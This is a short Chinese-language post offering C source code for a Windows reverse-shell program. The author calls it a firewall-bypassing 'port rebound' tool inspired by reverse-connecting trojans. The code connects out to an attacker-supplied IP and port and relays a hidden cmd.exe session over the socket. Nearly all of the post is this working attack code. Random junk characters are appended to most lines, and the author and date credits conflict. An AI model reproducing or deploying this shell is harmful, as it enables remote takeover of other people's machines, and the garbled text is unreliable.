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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G2zfdgW${/  
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/* ============================== ON\_9\kv  
Rebound port in Windows NT tJ i#bg%  
By wind,2006/7 E9YR *P4$  
===============================*/ M)#aX|%Mh  
#include 6/Q'o5>NL:  
#include j0~]o})@i  
w?Cqe N  
#pragma comment(lib,"wsock32.lib") 3g`uLA X>u  
S{zi8Oc6  
void OutputShell(); k$j>_U? P  
SOCKET sClient; Zchs/C 9{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {+F/lN@  
n GZZCsf <  
void main(int argc,char **argv) s(o{SC'tt  
{ T'"aStt6  
WSADATA stWsaData; Q &<:W4N*  
int nRet; /ZUKt  
SOCKADDR_IN stSaiClient,stSaiServer; a4Qr\"Qm  
xlZ"F  
if(argc != 3) D .oX>L#:  
{ bx_`S#*N  
printf("Useage:\n\rRebound DestIP DestPort\n"); g[!t@K  
return; Gt3V}"B3\  
} ]Nz~4ebB  
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WSAStartup(MAKEWORD(2,2),&stWsaData); y1GVno  
^2rNty,nH  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }1VxMx@  
8*-8"It<"  
stSaiClient.sin_family = AF_INET; $vlq]6V8  
stSaiClient.sin_port = htons(0); -,C">T%\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O0`sg90,C  
s<Px au+A  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;}"_hLX  
{ aVNBF`  
printf("Bind Socket Failed!\n"); Ue^2H[zs-  
return; a|Io)Qhr  
} OOA %NKV  
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stSaiServer.sin_family = AF_INET; RY3ANEu+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r9McCebIW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {/#^v?,  
FR&4i" +  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,:Qy%k}f  
{ C8 9c2  
printf("Connect Error!"); V3DXoRE-8i  
return; t{Ck"4Cg  
} v10p]=HmO  
OutputShell(); q1}HsTnBH  
} 6;6a.iZ  
e=ZwhRP  
void OutputShell() dfl| 6R  
{ $N4%I4  
char szBuff[1024]; *5?a% p  
SECURITY_ATTRIBUTES stSecurityAttributes; (7/fsfsF  
OSVERSIONINFO stOsversionInfo; ChO?Lm$y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K =T]@ix$  
STARTUPINFO stStartupInfo; Vz[E)(QX-`  
char *szShell; HxCq6Y_m<  
PROCESS_INFORMATION stProcessInformation; S81Z\=eK  
unsigned long lBytesRead; K;moV| j  
Fb#.Gg9b>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); db#QA#^S  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \9k$pC+l  
stSecurityAttributes.lpSecurityDescriptor = 0; 9 f$S4O5  
stSecurityAttributes.bInheritHandle = TRUE; 9DcUx-   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q M7z .  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _%^t[4)q  
X{KWBk.1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F[m"eEX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6Q S[mWU  
stStartupInfo.wShowWindow = SW_HIDE; / !J1}S  
stStartupInfo.hStdInput = hReadPipe; EXn$ [K;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cfI5KLG~#  
at7|r\`?-  
GetVersionEx(&stOsversionInfo); G tI]6t  
u=^0n2ez  
switch(stOsversionInfo.dwPlatformId) 3l5rUjRwj  
{ s!S,;H  
case 1: $[9,1.?C  
szShell = "command.com"; 2_Me 4  
break; R7aS{8nn  
default: <q Z"W6&&  
szShell = "cmd.exe"; K|*Cka{  
break; E-h`lDoJ  
} DF D5">g@  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !g:UkU\J  
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send(sClient,szMsg,77,0); pL`snVz  
while(1) ,])@?TJb@  
{ xR+=F1y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^aVoH/q*C  
if(lBytesRead) il^SGH  
{ R<W#.mpo6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "aNl2T  
send(sClient,szBuff,lBytesRead,0); ,Ie~zZE&  
} wqDRFZ1*P  
else Ycb<'M*jE  
{ !ZP1?l30  
lBytesRead=recv(sClient,szBuff,1024,0); ]e+IaZ[Wo  
if(lBytesRead<=0) break; -,j J{Y~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B.fLgQK0  
} _DfI78`(  
} DJgk"'  
Zrfp4SlZZ  
return; i gzISYC_  
}
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